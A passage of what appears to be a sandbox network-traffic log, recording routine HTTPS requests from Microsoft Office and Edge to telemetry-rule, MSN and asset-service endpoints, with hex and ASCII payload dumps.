2024-10-30 17:06:42 UTC	16384	IN	Data Raw: 2f 4d 35 19 b9 3f d5 c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 Data Ascii: /M5?Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|c
2024-10-30 17:06:42 UTC	16384	IN	Data Raw: 99 dc 5a 2e 69 cf 52 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 Data Ascii: Z.iRAHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`
2024-10-30 17:06:42 UTC	5254	IN	Data Raw: 29 50 5f 50 34 9a d3 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 Data Ascii: )P_P4*'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDY

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49828	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:42 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:42 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:42 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: cb602259-c01e-0046-02b2-262db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170642Z-17fbfdc98bbp77nqf5g2c5aavs00000007z0000000006agu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:42 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49830	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:42 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:42 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 39bce04a-301e-0051-2eae-2638bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170642Z-r1755647c664nptf1txg2psens0000000740000000006h7f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:42 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49826	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:42 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:42 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: d145a723-401e-0067-13b1-2609c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170642Z-17fbfdc98bbfmg5wrf1ctcuuun00000008t0000000001qhv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:42 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49829	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:42 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:42 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: ba54a096-301e-0020-3719-266299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170642Z-17fbfdc98bbnvkgdqtwd2nmyz800000007c000000000030e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:42 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49827	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:42 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:42 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 64bb7fc7-f01e-0071-5d6f-28431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170642Z-r1755647c66gqcpzhw8q9nhnq00000000950000000001xb3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:42 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	49831	131.253.33.203	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:42 UTC	847	OUT	GET /auth/cookie/appanon?apikey=1hYoJsIRvPEnSkk0hlnJF2092mHqiz7xFenIFKa9uc&ocid=authconstants-peregrine&activityId=AFD58C2A-F937-48D9-8C21-3BA21956DDF0&scn=app_anon HTTP/1.1 Host: api.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=3A3C51D39FB2654125F844FB9EBA64FA; _EDGE_S=F=1&SID=2A8DC74E113061F6196AD266109060AB; _EDGE_V=1
2024-10-30 17:06:42 UTC	3385	IN	HTTP/1.1 200 OK Content-Length: 2 Content-Type: application/json; charset=utf-8 Set-Cookie: _C_ETH=1; expires=Tue, 29 Oct 2024 17:06:42 GMT; domain=.msn.com; path=/; secure; httponly Set-Cookie: _C_Auth= Set-Cookie: sptmarket=en-gb\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=672267a2009c40d1abda9044789a8934.RefC=2024-10-30T17:06:42Z; expires=Fri, 30 Oct 2026 17:06:42 GMT; path=/ Set-Cookie: MUIDB=3A3C51D39FB2654125F844FB9EBA64FA; expires=Mon, 24 Nov 2025 17:06:42 GMT; path=/; httponly Set-Cookie: _EDGE_S=F=1&SID=2A8DC74E113061F6196AD266109060AB; domain=.msn.com; path=/; httponly Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: TicketType,RequestContinuationKey,AuthToken,Content-Type,x-client-activityid,ms-cv,OneSvc-Uni-Feat-Tun,signedInCookieName,muid,appid,User-Location,user-location,userauthtoken,usertickettype,sitename,s2sauthtoken,thumbprint,Authorization,Ent-Authorization,UserIdToken,DDD-TMPL,DDD-ActivityId,DDD-FeatureSet,DDD-Session-ID,Date,date,ads-referer,ads-referer,taboola-sessionId,taboola-sessionid,Akamai-Request-ID,Akamai-Server-IP,X-MSEdge-Ref,DDD-DebugId,s-xbox-token,OneWebServiceLatency,X-FD-Features,DDD-UserType,traceparent,Widgets,Muted,Velocity,DDD-Auth-Features,SoftLanding,PrefMigrated,DDD-TMPL-Removed,deviceFeatures,Server-Timing,DDD-LocationAssigned Access-Control-Allow-Methods: PUT,PATCH,POST,GET,OPTIONS,DELETE Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: TicketType,RequestContinuationKey,AuthToken,Content-Type,x-client-activityid,ms-cv,OneSvc-Uni-Feat-Tun,signedInCookieName,muid,appid,User-Location,user-location,userauthtoken,usertickettype,sitename,s2sauthtoken,thumbprint,Authorization,Ent-Authorization,UserIdToken,DDD-TMPL,DDD-ActivityId,DDD-FeatureSet,DDD-Session-ID,Date,date,ads-referer,ads-referer,taboola-sessionId,taboola-sessionid,Akamai-Request-ID,Akamai-Server-IP,X-MSEdge-Ref,DDD-DebugId,s-xbox-token,OneWebServiceLatency,X-FD-Features,DDD-UserType,traceparent,Widgets,Muted,Velocity,DDD-Auth-Features,SoftLanding,PrefMigrated,DDD-TMPL-Removed,deviceFeatures,Server-Timing,DDD-LocationAssigned DDD-AuthenticatedWithJwtFlow: False DDD-UserType: AnonymousMuid DDD-ActivityId: 2bd11864-814f-4dc2-9810-1b747f148b40 DDD-StrategyExecutionLatency: 00:00:00.0001369 DDD-TMPL-Removed: False DDD-Auth-Features: AT:NA;DID:m-3A3C51D39FB2654125F844FB9EBA64FA;IT:Unknown;MuidStateOrigin:MuidFromCookie DDD-DebugId: 2bd11864-814f-4dc2-9810-1b747f148b40\|2024-10-30T17:06:42.2878394Z\|fabric_auth\|EUS2-A\|Auth_5 OneWebServiceLatency: 2 X-MSEdge-ResponseInfo: 2 Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA X-Ceto-ref: 672267a2009c40d1abda9044789a8934\|AFD:672267a2009c40d1abda9044789a8934\|2024-10-30T17:06:42.280Z nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 7E57B126AA204CB7BDCF53A657636C6C Ref B: SN4AA2022402053 Ref C: 2024-10-30T17:06:42Z Date: Wed, 30 Oct 2024 17:06:41 GMT Connection: close
2024-10-30 17:06:42 UTC	2	IN	Data Raw: 5b 5d Data Ascii: []

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	49832	20.75.60.91	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:42 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=3A3C51D39FB2654125F844FB9EBA64FA&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=d87322ebcd554555b805ffba1359910b HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=3A3C51D39FB2654125F844FB9EBA64FA; _EDGE_S=F=1&SID=2A8DC74E113061F6196AD266109060AB; _EDGE_V=1
2024-10-30 17:06:42 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 30 Oct 2024 17:06:41 GMT Connection: close
2024-10-30 17:06:42 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	49839	13.107.246.57	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:42 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 17:06:43 UTC	564	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:43 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: bd019d66-d01e-004c-2cee-2aaf18000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T170642Z-17c5cb586f67hfgj2durhqcxk8000000078000000000bf1b Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-30 17:06:43 UTC	15820	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
